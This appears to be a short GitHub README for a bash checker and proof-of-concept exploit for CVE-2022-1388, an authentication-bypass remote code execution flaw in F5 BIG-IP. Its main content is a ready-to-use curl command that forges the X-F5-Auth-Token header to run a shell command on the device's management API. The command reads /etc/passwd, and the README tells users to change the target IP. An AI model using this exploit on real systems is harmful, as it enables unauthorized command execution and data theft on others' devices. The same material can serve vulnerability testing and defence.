/CVE-2022-1388-RCE-checker-and-POC-Exploit

Primary LanguageShell

CVE-2022-1388 RCE checker

Simple bash script to check CVE-2022-1388 RCE (F5 BIG-IP).

[+] Usage: ./CVE-2022-1388.sh hosts.txt

CVE-2022-1388 RCE POC Exploit

Don't forget to change the IP address

curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "{'command':'run','utilCmdArgs':-e 'cat /etc/passwd'}" -H "Connection: keep-alive, X-F5-Auth-Token" -H "X-F5-Auth-Token: anything"